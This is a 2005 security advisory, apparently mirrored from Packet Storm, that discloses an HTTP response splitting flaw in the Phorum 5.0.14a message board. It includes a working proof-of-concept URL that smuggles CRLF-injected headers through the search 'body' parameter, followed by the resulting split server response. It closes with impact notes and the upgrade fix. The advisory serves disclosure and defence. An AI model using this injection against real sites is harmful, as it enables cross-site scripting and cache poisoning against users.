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phorumSplit.txt

🗓️ 24 Mar 2005 00:00:00Reported by Positive TechnologiesType

packetstorm🔗 packetstormsecurity.com👁 26 Views

Phorum "location" HTTP Response Splitting Vulnerability in Phorum 5.0.14

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[ Positive Technologies SA-20050322 ]  
Phorum "location" HTTP Response Splitting Vulnerability.  
  
Release Date: 03/22/2005  
Date Reported: 03/10/2005  
Severity: Medium  
Application: Phorum  
Platform: PHP  
Vendor: http://www.phorum.org  
Affects versions: 5.0.14a  
Other versions may also be affected.  
  
  
I. BACKGROUND  
  
Phorum is a web based message board written in PHP. Phorum is designed  
with high-availability and visitor ease of use in mind. Features such  
as mailing list integration, easy customization and simple installation  
make Phorum a powerful add-in to any website.  
  
  
II. DESCRIPTION  
  
Input passed to the "Location" parameter is not properly sanitised.  
This can be exploited to inject malicious characters into HTTP headers  
and may allow execution of arbitrary HTML and script code in a user's  
browser session in context of an affected site.  
  
  
Request:  
http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30  
  
  
Result:  
  
HTTP/1.1 302 Found  
Date: Tue, 01 Mar 2005 12:33:53 GMT  
Server: Apache/1.3.31 (Unix) PHP/4.3.10  
X-Powered-By: PHP/4.3.10  
Location: http://[server]/phorum5/search.php?0,search=1,page=1,match_type=ALL,match_dates=30,match_forum=ALL,body=  
Content-Length: 0  
  
HTTP/1.0 200 OK  
Content-Type: text/html  
Content-Length: 34  
  
<html>Scanned by PTsecurity</html>  
,author=1,subject=1  
Connection: close  
Content-Type: text/html  
  
<...>  
  
  
This vulnerability was discovered by Positive Technologies using MaxPatrol  
(www.maxpatrol.com) - intellectual professional security scanner. It is able to detect a substantial amount of vulnerabilities not published yet.  
MaxPatrol's intelligent algorithms are also capable to detect a lot of  
vulnerabilities in custom web-scripts (XSS, SQL and code injections, HTTP Response splitting).  
  
The vulnerability has been reported in Phorum version 5.0.14.  
Other versions may also be affected.  
  
  
III. ANALYSIS  
  
Exploitation of this vulnerability allows remote attackers to mount various  
kinds of attacks. For example: Cross-Site Scripting (XSS), Web Cache  
Poisoning (deface), Browser cache poisoning, Hijacking pages with  
user-specific information and etc...  
  
  
IV. SOLUTION  
Update to version 5.0.15a.  
  
http://phorum.org/story.php?48  
http://phorum.org/downloads/phorum-5.0.15a.tar.gz  
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24 Mar 2005 00:00Current

7.4High risk

Vulners AI Score7.4